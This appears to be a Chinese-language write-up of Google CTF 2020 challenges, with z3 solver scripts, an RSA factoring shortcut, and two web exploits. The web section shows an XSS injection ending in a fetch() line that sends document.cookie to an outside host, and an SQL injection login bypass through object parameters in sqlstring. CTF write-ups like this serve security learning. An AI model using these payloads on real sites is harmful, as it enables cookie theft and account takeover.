Google CTF 2020 WriteUps

Google CTF 2020 的部分題目的 WriteUps。

hardware

BASICS

打開來有個 cpp 檔和 Verilog 的 sv 檔,雖然沒學過 Verilog 但還是直接讀讀看,會發現兩個結合就是用某些方法判斷輸入是不是符合某種規則,最後產生出個結果,所以一樣 z3 爆破出所有的解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *

def solve(l):
try:
data = [BitVec(f'd_{i}', 7) for i in range(l)]
memory = [None]*8
s = Solver()
idx = 0
for i in range(l):
memory[idx] = data[i]
idx = (idx+5) % 8
magic = Concat(memory[0], memory[5], memory[6], memory[2],
memory[4], memory[3], memory[7], memory[1])
kittens = Concat(Extract(9, 0, magic), Extract(41, 22, magic),
Extract(21, 10, magic), Extract(55, 42, magic))
s.add(kittens == 3008192072309708)
if s.check() == sat:
m = s.model()
return ''.join([chr(m[d].as_long()) if m[d] != None else '*' for d in data])
return None
except Z3Exception:
return None

for i in range(1, 100):
r = solve(i)
if r != None:
print(i, r)

crypto

CHUNK NORRIS

打開來很明顯的能看出是 RSA,然後我先把 n 丟上去 factordb,結果發現是 FF,所以直接拿 p q 去解了…。不過當時比賽的時候大概還沒 factor 出來吧…

reversing

BEGINNER

打開來看到它對輸入做一些 SIMD 的運算,然後最後把結果和輸入比較是否相等而已。這種題目直覺就是想到要用 z3 解,不過要先懂那些運算在做什麼才行: pshufb paddd pxor

利用它下面的虛擬碼看懂那些運算在做什麼之後就能寫出解的腳本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *

SHUFFLE = [0x02, 0x06, 0x07, 0x01, 0x05, 0x0B, 0x09,
0x0E, 0x03, 0x0F, 0x04, 0x08, 0x0A, 0x0C, 0x0D, 0x00]
ADD = [0xDEADBEEF, 0xFEE1DEAD, 0x13371337, 0x67637466]
XOR = [0x49B45876, 0x385F1A8D, 0x34F823D4, 0xAAF986EB]

flag = [BitVec(f'f_{i}', 8) for i in range(16)]

s = Solver()

# pshufb
shuffled = [flag[SHUFFLE[i]] for i in range(16)]

# paddd & pxor
a = (Concat(*shuffled[0:4][::-1])+ADD[0]) ^ XOR[0]
b = (Concat(*shuffled[4:8][::-1])+ADD[1]) ^ XOR[1]
c = (Concat(*shuffled[8:12][::-1])+ADD[2]) ^ XOR[2]
d = (Concat(*shuffled[12:16][::-1])+ADD[3]) ^ XOR[3]

for i in range(4):
s.add(flag[i] == Extract((i+1)*8-1, i*8, a))
s.add(flag[4+i] == Extract((i+1)*8-1, i*8, b))
s.add(flag[8+i] == Extract((i+1)*8-1, i*8, c))
s.add(flag[12+i] == Extract((i+1)*8-1, i*8, d))

assert(s.check() == sat)
m = s.model()
for f in flag:
print(chr(m[f].as_long()), end='')

web

PASTEURIZE

這是個類似 pastebin 的服務,還支援一個奇怪的 share with TJMike🎤 按鈕,然後你可以檢視原始碼發現到它的註解有寫說有 XSS 的 bug,還有個 /source 的 url。瀏覽 /source 可以看到它的後端程式碼,用 node.js 的 express 寫的。

接下來看它的程式過濾 XSS 的地方是用下方的程式碼處裡的,之後插入到 JS 的 string literal 裡面,之後再用 DOMPurify 處裡。

1
2
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

因為有 DOMPurify 的緣故,所以想在 HTML 側 Injection 不容易,改為考慮能不能在 JS 側注入。而這個的關鍵是 unsafe 如果是 string 我們就沒辦法了,但是如果不是的話就好玩了。

它上面的 bodyParser 使用的是 extended 模式,不只是單純的 query string parsing,還支援 php 那種 param[]=1 會讓 $_GET['param'] 變成陣列的功能。

所以把 form 的 name 改成 content[],然後內容打上 ; alert() // 就會成功注入了,因為它的 json 會變成 ["; alert() //"],去頭尾後塞到 JS 字串裡面會變成 ""; alert() //"

所以自己想辦法用個 server 接收 request,payload 就讓去拿對方的 cookie 看看,像是:

1
fetch('https://example.com/?cookie=' + encodeURIComponent(document.cookie))

之後在 cookie 的地方就能看到 flag 了。

LOG-ME-IN

這題一樣是 express,目標是登入 michelle 的帳號,然後看到它 bodyParser 一樣也是有開 extended,所以大概也和 query string 有關。看它取登入的 parameter 的地方就只有送 mysql 的地方而已,不過它有用 parameterized query,所以沒辦法 injection。

不過仔細想想,它的程式碼是向下面這樣,如果利用和上一題一樣的技巧,讓 up 不再是字串的話會發生什麼事?

1
2
3
4
const u = req.body['username']
const p = req.body['password']
const sql = 'Select * from users where username = ? and password = ?'
con.query(sql, [u, p], callback)

所以我就去讀了一下 mysql 的程式碼,然後它裡面處裡這部分的程式碼是在 sqlstring 這邊,然後看它的幾個 example 會發現它本身就有支援 object。然後因為好奇它的行為就自己裝來測試看看:

1
2
3
4
5
6
const qs = require('qs')
const { username: u, password: p } = qs.parse('username=1&password[a]=2')
console.log(u, p)
const sqlstring = require('sqlstring')
console.log(sqlstring.format("select * from user where username=? and password=?", [u, p]))
// output: select * from user where username='1' and password=`a` = '2'

這樣就發現它居然就成功 injection 進去了,然後因為我們的目標是要讓它登入成功,就要讓後面整個 condition 變成 true,前面 username 可以設 michelle,然後後面的話因為那個 a 是 column 名稱,所以我們可以把它換成 username 或是 password,然後值就看它是 true 還是 false 就好了。

所以最後的 payload 不管是 username=michelle&password[password]=1 還是 username=michelle&password[username]=0 都可以。